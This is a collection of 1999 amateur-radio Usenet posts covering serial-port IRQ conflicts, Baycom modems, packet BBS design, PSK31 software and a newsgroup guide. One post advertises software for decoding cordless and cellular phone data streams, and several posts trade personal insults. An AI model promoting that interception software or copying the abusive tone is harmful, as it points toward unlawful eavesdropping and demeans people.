com 1 & 3 share the same interrupt (IRQ), as do 2 & 4. While you probably wouldn't use your label printer and modem at the same time, chances are you'd use your mouse and TNC at the same time. Just touching the mouse, or vibrations from the table, would be enough to move it, causing interferance with the TNC. Two devices sharing the same IRQ at the same time frequently cause unpredictable results.

You might want to try a switchbox so that your TNC and modem can both use com 2, since you probably wouldn't be using them at the same time. An alternative would be to get a USB mouse ($30) or USB modem, assuming you have one or two USB ports on your PC. A further alternative would be to get a ps/2 type mouse, assuming you have a ps/2 mouse port on your PC.

I expect that your problem is that com1 and com3 both share IRQ 4, which causes
a conflict. Mice amnd modems (or TNCs) are not very compatible.

Since com3 is on a plug-in board, see if it is possible to change
the IRQ assignment to an unused value (you can run MSD from a DOS prompt to see
which IRQs are in use.) Even if there are no jumper selections, this can often
be done by cutting a trace and jumpering to another pin on the ISA card.

Source record: 18239

Hello ALL,

The IF-10(x) unit will allow for control of Kenwoods via the RS-232 port of the computer , or direct TTL in case of track-box use.

I have built a clone of it for KENWOOD TS-711 , TS-811 TS-940, 140 & 680. The unit is instaled exactly as the original one, meassures the original size, and is built on a double-sided PCB.

\Depending on the amount of user-demand for the unit, I can have a kit made; The project will be a non profitable one, (Donation to Amsat) and price ($ 55 more or less) will depend on the amount of units.

This is a survey in order to now what to expect.

Please reply to me (4Z4TL) here (ernie@netvision.net.il) or v satellite to 4X1AS, Shlomo.

The USB class drivers should create a "com" port device. Therefore, as long
as programs
do the usual open/close/read/write to com devices, you should be fine. If
the software tries to
talk to the hardware directly, then, that will be a problem.

Maybe you can get one out of that dozen to get on HF and show us all how
"wonderful" tcpip on HF is.

After monitoring the HF Ham bands off 'n on for over thirty years, I have
yet to see one (1) Amateur tcpip station on HF.

Next time you want to act like a smart-ass, maybe it would work better if
your argument wasn't quite so lame and obviously full of farina.

Better luck next time. I'm sure that laughter over your defense of Amateur
tcpip on HF will die down soon. You'll be quickly forgotten.

We have a full up TCP/IP gateway at 9600 baud running - no BBS stuff, all LINUX and PERL. You can telnet, ftp, use your favorite browser etc. If you come in with plain jane packet we have Line oriented web surfing, build your own www pages, etc.

The problem with packet is that everyone is stuck on 1200 baud and 1980's bbs.

We use our setup to connect to the internet from Field Day to upload digital camera shots to our web page, to run APRS, etc.

Check out the EASY tcp/ip setup for win95/98 http://www.clarc.org/wormy.htm

I'm thinking about designing a simple HF transmitter for use exclusively on the digital modes. (I'm not interested in voice or CW). Has anyone here given any thought to this? For example, would it be better to modulate the rf directly or use a SSB type upconversion for those people using soundblaster cards and digital software? I have some of my own thoughts the requirements of such a radio, but am interested in the thoughts of those of you with more experience.

That's what you'll mainly get here, too.

>A "Packet for Dummies" book would be more my style...
>Also.. I know it's a bit of a contradiction to the above.. But what about
>some non-so-technical info on programming for it? After seeing the software
>that people're using for the bbs's, well..... Looks like what I might've
>expected to see 20yrs ago on the 'land-line'...

That's a direct result of the data transfer speed you have to work with.
Sure, you could have graphics, etc, if you are willing to sit around all day
and wait for them. The text-based interface you run across so much now is
finally starting to be replaced with HTTP/HTML stuff, but only as fast as
high-speed packet nets are built to carry that kind of load. You can do SOME
of that stuff at 1.2kb, but most Hams don't bother to.

HTML at slow speeds is a novelty, but not very exciting. Remember that in a
general sense, a shared 19.2kb Packet Radio freq will give you about the
same performance (throughput) as you can expect from a 1.2kb phone
connection, depending upon the number of stations on freq, how busy they
are, how their software is set up, what kind of radio and antenna they use.
etc, etc, and so on.

The challenge and fun of Packet radio is to see what can be done despite
those and other limitations.

Play around with it and have fun!

I have purchased from HRO via 800 number and over-the-counter. Never had a problem. I deal with the store in Woodbridge, VA.

Has the thought occurred to you that there are things you could do to alleviate the situation, other than posting on the internet -- such as:

1. Call HRO and work it out with them.
2. Call your credit card company and tell them that you were mis-charged. They will not honor the charge until things are straightened out.

Maybe when it is all straight you will post the rest of the story.

Thanks to everyone who offered suggestions.

Yes, the problem was IRQ conflict between mouse and TNC.

I have a PS2 mouse and my system supports PS2 mouse but I have just spent two frustrating hours trying to set up the PS2 mouse, starting with enabling PS2 port in CMOS, loading drivers, etc. Nothing works. System will not recognize the PS2 mouse. So, I solved it the old fashioned way: Put in a serial switch and I switch COM4 between TNC and label printer. This installation added to the rat's nest behind the computer, but, what the heck, it's supposed to look like a rat's nest.

Are you looking for programs like winflex4 ...DSP Blaster.....SBFFT
..and other hard to find programs ......??
How about specialized software like special software to decode
the datastream of cordless telephones...?? (or cellfones)
Want the the latest upgraded version of xmit_id , the kool
software for transmitter waveform capture....?? (repeater
jammer ID, garage door opener, countermeasures ops...)

Do you need a supply of completely free IC chips...??

Would you like to have collections of circuit building
plans and information.....???

Do you need a great inexpensive 12volt car power
supply for your handheld computer...??

Find all of this and much more at the
Moxina Mind Spring " techno freebies site "...!!
It is a non comercial, private site hosted by
TIgEas LAiR for the technical hobbyist .

: If the software tries to
: talk to the hardware directly, then, that will be a problem.

The problem is that the Baycom is _not_ a COM port device and it has
nothing to do with RS-232 style serial communication. It does _not_
use the TxD and RxD pins for serial communication.

Baycom does not use the UART for converting parallel bytes to a serial
bit stream, since the UART operates in asynchronous mode, embedding
every byte between start and stop bits. The AX.25 protocol uses the
synchronous mode with no start and stop bits for each character. The
Baycom system does all the parallel/serial and serial/parallel
conversion in software and alters the state of the COM port handshake
pins in a non-standard way as serial input and output data pins. This
requires precise (submillisecond) timing and usually consumes a lot of
CPU resources and thus works best with MS-DOS style toy operating
systems.

Even if you could control the handshake pins of an external RS-232
port connected through the USB using various I/O-control calls and
detect state changes on the input handshake pins, the problem is how
to get a consistent submillisecond timing accuracy. Thus, it does not
make much sense to use USB for Baycom.

A few years ago, there was a system called PMP (Poor Man's Packet)
which used the handshake pins of the parallel port (instead of the
handshake pins of the serial port as Baycom does), so this might be a
solution if all COM ports are in use, but the parallel port is unused.
But since it operates in the same way as Baycom, it also suffers from
the same problems as Baycom.

Which is exactly what Baycom drivers need to do. Also a low and
consistent latency in servicing the modem status interrupt is critically
important.

So, to return to the original question:-

>> > Marty <marty-k2@snet.net> wrote in message
>> > news:373B204E.13872DE8@snet.net...
>> > > Can a Baycom modem, such as a BP-1, can be connected through the a USB
>> > > port, and if so, how it would be wired?

The answer is - you can wire an RS232 device through an RS232 to USB
converter, but there's no way you could get a Baycom modem to work by
doing that.

So...instead of FIRST contacting your dealer to explain the problem...

You decided to post your story here.

I believe most reasonable folks would simply call their dealer up the
first available opportunity and deal with the matter at hand.

NO - HRO has no long "history" of mistreating their cleints.

I certainly hope that (a) you have been totally truthful with your story
here, and (b) as soon as HRO clears this matter up with you, that you'll
post the entire solution arrived at.

Well, the best way to insure that a company like this doesn't
mess with you is to order everything by credit card. When they
overcharge / fail to ship / ship wrong product, etc, you just
call up the credit card company and tell them that you were not
charged fairly, and to cancel payment of the charge to the card.

I've only had to do this once, and the problem I had with the
company was cleared up in about 12 hours, and they overnighted
me the correct product, along with a container to mail the incorrect
product back to them, postage paid. This was alot better than
trying to convince the operator at the end of the "hold for 20
minutes" line that I actually had been shipped the wrong product..

2354. Guide to the rec.radio Newsgroups

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-16 00:00:00 UTC
From: jeffreyh@Hawaii.Edu
Message-ID: <7hlsr1$1m1@news.Hawaii.Edu>
Source record: 18110
Cross-posted to: rec.radio.amateur.dx,rec.radio.amateur.digital.misc

Archive-name: radio/personal-intro

This message describes the rec.radio.amateur.*, rec.radio.cb, rec.radio.info, and rec.radio.swap newsgroups, as well as their Internet mailing list counterparts and complements. It is intended to serve as a guide for the new reader on what to find where. Questions and comments may be directed to Jeffrey Herman, KH6O, (jeffreyh@hawaii.edu), or Paul Schleck, K3FU, pschleck@novia.net.

This message was last changed on 14 March, 1998.

History
=======

Way back when, before there was a Usenet, the Internet hosted a mailing list for hams, called (appropriately enough) INFO-HAMS. Ham radio discussions were held on the mailing list, and sent to the mailboxes of those who had signed up for it. When the Usenet software was created, and net news as we now know it was developed, a newsgroup was created for hams: net.ham-radio. The mailing list and the newsgroup were gatewayed together, eventually.

Over the years, as the net grew, the volume of discussion became progressively higher. First one by one, and then as part of two reorganizations, what was once one group became many. In the process, developments elsewhere on the net were reflected in the groups as they were created, most notably the change to place all of the ham radio groups in one hierarchy.

The collection of newsgroups continues to grow as more people join the net, and as more topics of discussion gain volume, I expect to see more groups be created as well. This follows what is happening on the rest of the net.

Nearly all of the radio newsgroups have corresponding mailing lists, the notable exception being rec.radio.swap. There are also a few mailing lists that don't have newsgroups.

The Current Groups
==================

It's important to post messages to the group that's appropriate for them, and not to the groups that aren't. The whole idea of having different newsgroups is so that folks who aren't interested in, say, homebrewing, don't have to wade through messages about homebrewing on the way to read about Field Day. Posting appropriately is just good etiquette.

The rec.radio.amateur.misc group is the catchall. It is what rec.ham-radio was renamed to during the first major reorganization. Any message that's not more appropriate in one of the other groups belongs here, from contesting to DX to ragchewing on VHF to information on becoming a ham.

The group rec.radio.amateur.digital.misc is for discussions related to (surprise!) digital amateur radio. This doesn't have to be the common two-meter AX.25 variety of packet radio, either; some of the most knowledgeable folks in radio digital communications can be found here, and anything in the general area is welcome. The name was changed to emphasize this, and to encourage discussion not only of other text-based digital modes, such as AMTOR, RTTY, and Clover, but things like digital voice and video as well. The former group, rec.radio.amateur.packet, was removed on September 21st, 1993. It is obsolete, and you should use .digital.misc instead (or the appropriate new mailing list, mentioned below). The group has .misc as part of the name to allow further specialization if the users wish it, such as .digital.tcp-ip.

The swap group is rec.radio.swap. This recognizes a fact that became evident shortly after the original group was formed: Hams don't just swap ham radio gear, and other folks besides hams swap ham equipment. If you have radio equipment, or test gear, or computer stuff that hams would be interested in, here's the place. Equipment wanted postings belong here too. Discussions about the equipment generally don't; if you wish to discuss a particular posting with the buyer, email is a much better way to do it, and the other groups, especially .equipment and .homebrew, are the place for public discussions. There is now a regular posting with information on how to go about buying and selling items in rec.radio.swap; please refer to it before you post there. To answer a frequently asked question: No, there is no mailing list that goes along with this group. If you can't read Usenet news directly, you're out of luck.

The group rec.radio.amateur.policy was created as a place for all the discussions that seem to drag on interminably about the many rules, regulations, legalities, and policies that surround amateur radio, both existing and proposed. Recent changes to the Amateur Radio Rules (FCC Part 97) have finally laid to rest the Great Usenet Pizza Autopatch Debate - it's now legal to order a pizza on the autopatch, if you're not in the pizza business - as well as complaints about now-preempted local scanner laws hostile to amateurs, but plenty of discussion about what a bunch of rotten no-goodniks the local frequency coordinating body is, as well as the neverending no-code debate, may still be found here.

The group rec.radio.cb is the place for all discussion about the Citizens' Band radio service. Such discussions have been very inflammatory in rec.ham-radio in the past; please do not cross-post to both rec.radio.cb and rec.radio.amateur.* unless the topic is genuinely of interest to both hams and CBers - and very few topics are.

The rec.radio.info group is just what its name implies: it's the place where informational messages from across rec.radio.* may be found, regardless of where else they're posted. As of this writing, information posted to the group includes Cary Oler's daily solar progagation bulletins, ARRL

bulletins, the Frequently Asked Questions files for the various groups, and radio modification instructions. This group is moderated, so you cannot post to it directly; if you try, even if your message is crossposted to one of the other groups, your message will be mailed to the moderator, who is currently David Dodell, WB7TPY. The email address for submissions to the group is rec.radio.info-moderator@primenet.com. Inquires and other adminis-trivia should be directed to rec.radio.info-request@primenet.com. For more information about rec.radio.info, consult the introduction and posting guidelines that are regularly posted to that newsgroup.

The groups r.r.amateur.antenna, .boatanchors, .dx, .equipment, .homebrew, and .space are for more specialized areas of ham radio: discussions about antennas, the older tube based amateur, military, and commercial gear, commercially-made equipment, homebrewing, and amateur radio space operations. The .equipment group is not the place for buying or selling equipment; that's what rec.radio.swap is for. Similarly, the .space group is specifically about amateur radio in space, such as the OSCAR program and SAREX, the Shuttle Amateur Radio EXperiment; other groups cover other aspects of satellites and space. Homebrewing isn't about making your own alcoholic beverages at home (that's rec.crafts.brewing), but rather construction of radio and electronic equipment by the amateur experimenter. The .dx group is devoted to long distance amateur communications. Each of these subgroups has its own charter and FAQ; please refer to the archives to find these documents.

Except for rec.radio.swap and rec.radio.cb, all of these newsgroups are available by Internet electronic mail in digest format; send a mail message containing "help" on a line by itself to listserv@ucsd.edu for instructions on how to use the mail server.

All of the groups can be posted to by electronic mail, though, by using a gateway at the University of Texas at Austin. To post a message this way, change the name of the group you wish to post to by replacing all of the '.'s with '-'s - for example, rec.radio.swap becomes rec-radio-swap - and send to that name@cs.utexas.edu (rec-radio-swap@cs.utexas.edu, for example). You may crosspost by including multiple addresses as Cc: entries (but see below). This gateway's continued availability is at the pleasure of the admins at UT-Austin, and is subject to going away at any time - and especially if forgeries and other net.abuses become a problem. You have been warned.

Mailing Lists

In addition to the mailing lists that mirror the Usenet newsgroups, there also are a few that stand alone. These cover specific areas of ham radio, and discussion is focused on just those areas.

The cq-contest mailing list is for discussions of contesting in ham radio. To join, send email with the word "subscribe" on a line by itself to cq-contest-request@tgv.com.

The DX mailing list covers the finer points of DXing. This one is also joined by mailing "subscribe" on a line by itself, this time to

dx-request@unbc.edu.

There's also a VHF mailing list, for VHF operators of the weak signal persuasion. You can join this one be sending "subscribe vhf" on a line by itself to vhf-request@w6yx.stanford.edu.

The QRP-L list is devoted to building and operating gear at low-power outputs. To subscribe, send an email to listproc@lehigh.edu and only write: subscribe qrp-l Your Name.

The TopBand e-list is devoted to all areas of operation on 160m. To subscribe, send an email to majordomo@contesting.com and only write: subscribe topband and follow the instructions you'll be sent.
This site, contesting.com, also hosts a couple dozen other ham-related e-lists. Use the above address, and only write: lists to get the entire index.

The Boatanchors e-list is devoted to the older tube-based ham, military, and commercial communications gear. To subscribe, send an email to: listserv@listserv.tempe.gov and only write: subscribe boatanchors

For homebuilding transmitters and receivers using tube technology, there is the Glowbugs e-list; send an email to: majordomo@piobaire.mines.uidaho.edu and only write: subscribe glowbugs <your@address.here>

The VHF DX discussion list can be accessed by sending an email to: majordomo@blacksheep.org and only writing: subscribe VHF-DX-discuss.

We now have a list devoted to amateur radio history. To subscribe, send an email to: ham-radio-history-subscribe@egroups.com - leave the body of the message blank.

Qth.net hosts over 100 ham-related e-lists, including lists devoted to each state, manufacturer, mode, band - too many to state here. Send an email to majordomo@qth.net and only write: lists to get the complete index.

For one of the most complete indexes of email lists, see the excellent web site http://pw2.netcom.com/~ac6v/pageae.html

Please do NOT send subscription requests to the mailing lists themselves; that doesn't work very often, and is very annoying to those on the list. Also, please keep your electronic mail address current with any mailing lists you subscribe to, as dealing with returned email is a nuisance for the person maintaining the mailing list.

A Few Words on Crossposting
==========

Please do not crosspost messages to two or more groups unless there is genuine interest in both groups in the topic being discussed, and when you do, please include a header line of the form "Followup-To: group.name" in your article's headers (before the first blank line). This will cause followups to your

article to go to the group listed in the Followup-To: line. If you wish to have replies to go to you by email, rather than be posted, use the word "poster" instead of the name of a group. Such a line appears in the headers of this article.

One of the few examples of productive cross-posting is with the rec.radio.info newsgroup. To provide a filtered presentation of information articles, while still maintaining visibility in their home newsgroups, the moderator strongly encourages cross-posting. All information articles should be submitted to the rec.radio.info moderator so that he may simultaneously cross-post your information to the appropriate newsgroups. Most newsreaders will only present the article once, and network bandwidth is conserved since only one article is propagated. If you make regular informational postings, and have made arrangements with the moderator to post directly to the group, please cross-post as appropriate.

RGR.. I used to run a "Wildcat" LandLineBBS , many moons ago.

Again, the difference is that Packet software does not have the luxury of being so "wordy" as the old LLBBS's used to be.

Here's what I mean: In deep south Texas, near Brownsville, a "LandLine Lid" BBS set up shop several years ago. (LandLine Lids use the telephone and pretend it is Amateur Radio.) I believe the call there is N9BDX, although I am not certain.
When he first set up his "BBS" several years ago, experienced Packet ops in south Texas were amused to see that the "LLL" had set up an elaborate "Intro screen" for his Station. - Every connectee had to sit and wait while several pages of useless junk slowly crawled across the screen. This is the kind of boo-boo that only a very inexperienced BBS SYSOP would ever consider doing, since it ties up the frequency to no purpose. Everybody expected that he would soon learn that what he was doing was not just wrong, but kind of stupid, but nope... Several years later the "BozoBBS" in south Texas still makes every connectee sit through several pages of useless junk. - A waste of good spectrum, not to mention everybody's time.

The point being that a "good" Packet server (BBS) keeps all the prompts short and sweet. Elaborate menus, ect, would look neat but would also waste valuable time and spectrum.
I think that if you carefully examine WHAT a Packet BBS must do and under what conditions it must be usable, you'll see that the Packet BBS's interface is spartan for a very good reason.

>The packet-progs look like something you might've gotten included free with

>The user-interface could sure still use LOTS of improvement.
>Thanks for the link, btw.. ;)

Most of the BBS's have SYSOP-defined prompts, allowing the SYSOP some ability to personalize their stations. Also, source code is available for AA4RE if you program in PASCAL, or CBBS if you program in C. There are several dozen versions of "NOS" (tcpip) software which includes the source code in C as well.

You could tinker around with one of those, or "cut 'n paste" enough code to get something of your own going. The problem with writing BBS software is the message transfer protocol. Your BBS must be compatible with other BBS's in this respect, and in this day 'n age must be able to offer "compressed forwarding" where messages are compressed and decompressed in a way which is compatible with other stations. There are quite a few standards of this sort which you will need to be aware of and be ready to implement.

A lot of Hams have been less that delighted with the user interface of Packet BBS's, and I for one would like to encourage you to work on this. Sometimes a fresh point of view can do an awful lot of good.

I have a PK-232MBX, but no manual. Would someone have the wiring instructions for the mic plug to the PK232 connector?

The pre-wired cable that came with the PK232 has 5 wires: red, brown, black, white and green which terminate in a 5-pin inline female plug at the tnc end. I need to know which ones go to PTT, mic, mic ground, and chassis ground on the mic plug.

If anyone has the manual, or knows where this information might be obtained online, I would greatly appreciate your help.

Consumers are never happy.

The interface you describe is not really supposed
to be used by the consumer. You're supposed to use a Windows
or Mac program. Get APRS and interface it to your TNC. That's about
the only application besides Packet Cluster that is viable at 1.2 kbps.

To answer your question: What For?

The answer is whatever you want. If you try to be the lone ranger, then
yes, it will be boring. If you and another Ham do things with it, then it
will be fun. What your asking, is that you spent a ton of money for an
object that doesn't entertain you right out of the box. This is normal.
This isn't the same as a tickle-me-elmo, or other consumer product.
You will have to enteract with another human (God forbid) in order to
get the most out of it.

I am presently having difficulty in getting the demo version of RiTTY vers2.07 to get started.
I am running WIN95B OEM with MS Plus on a Pentium2/233MHz with Norton SystemWorks vers2.0 installed.

I have a shortcut to c:\RITTY\RITTY.EXE on my desktop....

When double-clicking on the shortcut, I get to a black screen that lists the name and vers 2.07 of Brian's software.

I have not been able to get any further. Perhaps this is a corrutped file? Is the demo/evaluation version of RiTTY available yet?

He wasn't asking the "techno-weenies" here, bud. He made it pretty plain
that he was not doing so.

So- If the term "techno-weenie" feels so comfortable that you immediately
identify yourself with it, keep in mind that it was YOU who made that
identification (No names were named) and it's pretty darned silly to then
turn around and act insulted by the term you just got through identifying
yourself with.

Quick! Grab the receptionist's little bottle of "white-out" and take a few
good sniffs of it. - Maybe that will help you calm down a bit.

2382. Q:Which pre-filter for a clock de-jittering PLL?

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-17 00:00:00 UTC
From: Tom <tom22@verio.com>
Message-ID: <3740667E.4EA44EED@verio.com>
Source record: 18138
Cross-posted to: rec.audio.tech,rec.audio.pro,rec.audio.misc,rec.radio.amateur,rec.radio.amateur.digital.misc

Hi,

I am designing a PLL for de-jittering an AES/EBU receiver clock.
However, in order to determine the loop parameters, I need to limit the
input noise bandwidth of the input clock (Bi) with a pre-filter, prior
to the phase detector. Since the signal in question is a clock, I am
wondering about the requirements of the prefilter concerning linear
group delay. Is this generally a concern in this case or am I making
more if it than I should?

Also, are there references for this sort of thing?

The received clock in question is at 12.288 MHZ and it has about 400 ps
rms jitter.

Thank You
Tom

Joseph OM,

What do you mean by "digital modes"? (CW is the original digital,
ie, binary, mode)? AMTOR? PACTOR? RTTY? CLOVER? others? It makes a
difference.
For AMTOR/PACTOR/GTOR, RTTY, all you need is a reasonably stable CW
transmitter that you can FSK. That is what I use. I built a simple 40W
CW transmitter, and shift the VCXO up 170-200 Hz for marking, and
unshift for spacing. It is very simple to make CW/FSK transmitters.
You don't need the complexity of balanced modulators, filters, audio
string, and linear amplifiers. No linearity is required, of course (as
with any FM scheme), so Class C, D, E amps are fine.
If any of this is news to you, or you are unfamiliar with the terms,
then I suggest you do some reading in any ARRL or RSGB handbook Joe.

73 and GL,

Don, W6JL

>wondering about the requirements of the prefilter concerning linear
>group delay. Is this generally a concern in this case or am I making
>more if it than I should?

Well, the stuff going through the filter should only be a very, very
narrow range of frequencies, so the group delay can be significant before
it becomes a problem.

But since you can cobble a VCXO-based PLL from the circuit in the
Crystal Semi databook or you can buy the UltraAnalog reclocking
receiver module, why reinvent the wheel?

The problem is that a lot of this stuff has to be optimized with cut
and try engineering, since when you're dealing with pS timing the
parasitics get to be a big issue. And unless you have the HP modulation
domain analyzer, the Meridian jitter meter, or a similar phase
modulation detecting gadget that will let you get the spectrum off
of the demodulated clock, it's very hard to tell if changes you make
are making things better or worse. And there are some reclocking
circuits out there that do more damage than good.

Cute answer.

A better answer would be something someone could use.

I found this neat site with Metacrawler searching for
"live receiver". It has links to several receivers that
can be tuned via the internet and allow you to listen by
way of your computer.

There is a wealth of fascinating stuff on the 'net.

Charles,

I enjoyed the story about the LLL in south Texas making everyone
sit through mucho opening screens. I must try to explain.

First of all, we need to understand the definition of a ham:

DEFINITION: "Ham Operator" - A lonely,
pathetic, wretch sitting in a corner
somewhere - tuning around on his radio -
desperately trying to be important.

I "desperately" attempted to dispell this definition when it was
first presented to me ----- but I failed.

So, now that we know that, it is easy to understand the LLL
with his opening pages and pages of nothing.

73,

Jack VE3EED/W7

A pathetic wretch since 1964!

Hi Victor. Yes there is a fair bit of packet activity in Toronto. Try 145.030 or 144.910 for AX.25 packet at 1200 baud. There is also TCP/IP from Seneca College, but I can't remember the frequency. And there is some 9600 baud on 70 cm. Again i can't remember the frequency.

APRS is available on the Canadian National APRS frequency (144.390). You'll see lots of activity there.

I'm looking for: Motorola STX model 821 or MTS 2000 Flashport series radios. They must be 800mhz and Smartnet ii capable. These are for a small dept. here in the Indy area that is looking for a way to get around paying the enormous price of new ones from the local radio authority. If they have extra batteries or chargers or public safety mics that would be great also but not needed. Anybody that has these in good to fair condition can e-mail me at paramike@indy.net with prices and terms, I will forward the info to the chief of the dept. inquiring about the radios. Thanks for your help, Mike

I post this in the hope that there maybe some experience in the group members that could help.

My problem;

I would like to install some form of camera at a remote site and obtain images from the camera at a safe location. This is related to monitoring active/erupting volcanoes.

Could a web cam (ie Logitech Quickcam2, Microtek Eyestar or similar serial port camera) be operated across a spread spectrum radio link, ie be separated from the host PC by a kilometer or so?. The remote site would have to be able to run off 12Vdc, as no other power is available.

Any comments or suggestions would be most welcome.

The regs for packet operation are included in the FCC's part 97, which
covers all amateur radio operation. They can be found at
www.fcc.gov/Bureaus/Engineering_Technology/Documents/cfr/1998/47cfr97.pdf

The procedure for reciprocal operating has recently been simplified.

From the ARRL letter, vol. 18, no. 14:

FCC SAYS RECIPROCAL PERMITS NOW "PAPERLESS"

The FCC is advising applicants for reciprocal operating permits that an
application is no longer required. Under new ULS rules that took effect
February 12, the FCC Form 610A has passed into history. The new rules also
will pave the way for US hams to more easily operate in most of Europe. The
FCC is expected to issue a Public Notice in the near future that will spell
out the details.

Alien visitors to the US holding an amateur license issued by their home
country may operate in the US without submitting any FCC paperwork--provided
that a reciprocal operating agreement is in effect between the two
countries. The only documentation required is proof of citizenship and an
Amateur Radio license issued by the country of citizenship. These
arrangements are similar to longstanding arrangements between the US and
Canada.

With power off, remove the jumper next to the battery, wait several
minutes and reconnect it. Then the defaults will be reloaded the
next time you power on the unit.

I used to have one of these, there was a way via pad sequences to get a display and see the TT that were rcvd, sorry I don't remember how, found in one of those tech/mod books.

No I did mean DTMF tones. I know the rig can decode CTCSS but I was
wondering about DMTF (the one on telephones etc.)

I just went and looked at the TAPR list. It seems they have
heard from "almost" everybody.

ALBERTA MANITOBA NEWFOUNDLAND & NORTH WEST TERRITORIES
are missing. How about someone in those areas getting off their
behinds and reporting to TAPR.

It would help the rest of us as well as showing that these
places are actually civilized.

Thank you.

Well, Jack, in the LandLine Lid's case, the definition is slightly
different:

DEFINITION: "LandLine Lid" - A lonely, pathetic wretch
sitting in the corner on the telephone - pretending to use
his ham radio - desperately trying to be seen as legitimate
and important.

Kind of like a third-rate imitation; a pitiful wretch "wannabe".

2419. Re: Communicating with TNC

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-19 00:00:00 UTC
From: Bob Lewis <aa4pb@erols.com>
Message-ID: <37430142.6D22EE57@erols.com>
Source record: 18175

If you are using the standard serial configuration, the problem is that COM1 and COM3 both use IRQ4. COM2 and COM4 both use IRQ3. If you never use the modem and the TNC at the same time you *may* be able to put the TNC on COM1 and the modem on COM3. Although they are connected to the same IRQ, many times the hardware will permit this sharing so long as you don't run the modem software and the TNC software at the same time. I have been able to do this with success on several different computers and modem cards. The one exception I found was a Hayse 56K modem card.

Another possibility, if your hardware and software will permit it, is to move something to a non-standard unused IRQ. I often put the modem in COM3 and set it's IRQ to use IRQ7.

The PS2 mouse by the way uses IRQ12 as a standard - you may have something else set to use IRQ12 which would cause the PS2 mouse not to be recognized.

2420. Re: HRO, This common-practice?

Source record: 18176

BD,

You are NOT responding to an HRO "groupie" I could care one way
or the other about HRO.

Several people have suggested that you went off "half-cocked" by
getting on here and asking that leading question. Your question
implied that you were treated badly. You were whining ahead of
time -- that's all. Also, several people asked you if you would
have guts enough to come on here and tell us the conclusion. You
didn't respond to them. So, I asked you again.

I guess we can all gather that you have not talked to them AT ALL
and that you have decided to keep the mistake.

I have dealt with HRO in San Diego perhaps half a dozen times
over the past 10 years. I've never had any problem with them.
I don't believe I've ordered from their catalog; so can't say
about that. As a matter of fact, I quit even looking at their
catalog when they quit putting the prices in.

So, I guess we can close this book. At least I'm closing it.

2425. PK-232 Monitored Frame Header Display

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-20 00:00:00 UTC
From: Roger Barker <roger@peaksys.demon.co.uk>
Message-ID: <nSBaKAAWa$Q3EwRF@peaksys.demon.co.uk>
Source record: 18181

I wonder if anyone can answer the following question:-

Using "MON 6", the PK-232 displays monitored frame headers with different type of brackets (braces) round the frame type. Three types of brackets are used - "<UI>", "[UI]" and "(UI)". (I'm only using UI as an example, the question does not specifically relate to UI frames.)

What exactly is the meaning of the different types of brackets? I've had one comment passed to me that <> denotes AX25 V1 and [] denotes AX25 V2, but that can be, at best, only partially correct. My current best guess is:-

[] = AX25 V2 command frame.
() = AX25 V2 response frame.
<> = AX25 V1 (neither command nor response).

Beau,

Your message isn't very clear; but I'm guessing you want to know how to use Pactor. If you go to this URL, you will be able to download all the info you ever wanted.

http://WinLink.org/AirMail/

Most Pactor stations tell you how to send an Email in their help file or in one of their bulletins.

You can also find out where some of the stations are and a little about them by dropping part of the above URL. Just use this:

http://WinLink.org/

John,

The Texas Packet Radio Society lists several Packet BBS's in Texas. Most are availible from Plano via the TEXNET network. See the TPRS Home page at http://www.tprs.org/

de KJ6WS, Harry

2435. PSK31 Commercial Update

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-05-21 00:00:00 UTC
From: thompson@mindspring.com
Message-ID: <7i45c3$24h$1@nntp6.atl.mindspring.net>
Source record: 18048

I found several commercial products that support PSK31.

1. Writelog for W95/98 sends and receives PSK31 and you can use it as a general logger or contest logger. Supports RTTY contests too.

2. Kachina is a killer PSK31 box. Load the PSK31 shareware software and away you go...One PC one Transceiver integrated. You can toggle in and out of the regular Kachina programs.

3. W1WEF

Please contact the vendor for details.

I have no stake in any of these just passing along the news.

Dave K4JRB

2436. Re: PK232 Y2K Compliance

Source record: 18049

Bret <rf_freak65@hotmail.com> wrote:
>Hello,
> I am interested if anyone has heard the rumor that the PK232 isn't Y2K
>compliant? Is Y2K compliance an issue with a TNC ? If anyone has any
>information about this please let me know.

Anything that does not have a date/time function, or has a date/time
function you don't care about, is Y2K compliant.

In addition, equipment that has a date/time function but does not
sort anything (that you care about) in date/time order usually is
Y2K compliant when the user is clever enough to realize that 00 means
2000, not 1900.

There may be a problem in some equipment to correctly roll over from
xx991231 to xx000101, but when you don't mind setting the clock
correctly once (or maybe twice, again on 20000103) you should not
be affected in any way.

Most of the claims on Y2K problems are just FUD to persuade you to
buy new stuff.

Source record: 18193

Linux is fast becomming an OS of choice for packet radio operations, due to its
built-in AX.25 support, etc. In the Los Angeles area, there is an upcoming
overview lecture on how to use Linux. Originally posted to newsgroup
"la.seminars," I intentionally post another copy here for any interested
amateur radio operators.

ACM is a 501(c)(3) non-profit organization comprised of computer professionals.

---------- Forwarded message ----------
Subject: LINUX, meeting and PDS; ....

Los Angeles Chapter
ACM - The Association for Computing

****

Los Angeles ACM Chapter Meeting

LINUX: The Last Operating System You Will Ever Need To Buy (FREE!)

Prof. Nazmul Ula, Loyola Marymount University

Wednesday, June 2, 1999 - Lecture at 8:00 PM

(LA ACM is also presenting a Professional Development Seminar on
two Saturdays, June 26 and July 10. See below for details.)

Linux (pronounced "lynn-icks") is an open-source operating system,
which runs on more hardware platform than any other operating system.
Linux runs on x86, Alpha, Sparc, Amiga, Macintosh, and some other less
known hardware platforms. It is not only free, but also includes the
complete source code. In the last few years, Linux has proven itself
to be the most stable, versatile and scalable network operating system.

Though it is still maintained by a loosely coupled INTERNET community,
not a corporation, LINUX is now ready for the mainstream user
community. No other operating systems can match the incredible
price/performance of Linux. It is FREE!

The following topics will be discussed during the presentation:

What is Linux?

The origins and brief history of Linux.

Current status of Linux.

Design philosophy of Linux.

Linux is Unix.

Designed from scratch to be multi-user and multi-tasking.

Very mature design.

Linux is Open-Source.

Advantages of Linux.

Thousands of applications.

Linux has fewer bugs (than anyone).

Linux is powerful.

Linux is high-performance.

Linux will network with almost anything.

The user interface.

Linux is flexible.

Customizable hardware support.

Totally customizable software.

Linux runs on multiple platforms.

Linux is well-supported.

Best tech support anywhere.

Linux is stunningly inexpensive.

No license fees!

Powerful software bundled with the system.

Limitations of Linux.

Hardware knowledge requirements.

Limited support for proprietary formats.

Linux requires a paradigm shift.

Linux related resource information.

